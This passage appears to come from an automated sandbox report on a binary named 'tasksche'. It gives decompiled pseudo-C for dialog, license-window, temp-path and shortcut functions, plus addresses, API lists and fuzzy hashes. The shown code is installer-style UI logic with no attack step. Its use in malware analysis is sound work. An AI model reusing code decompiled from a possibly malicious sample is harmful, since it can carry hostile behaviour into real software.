												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

.lnk, xrefs: 0040F321, 0040F331
", xrefs: 0040F157

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

<br>, xrefs: 00419255
, xrefs: 0041922D
 , xrefs: 00419292
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
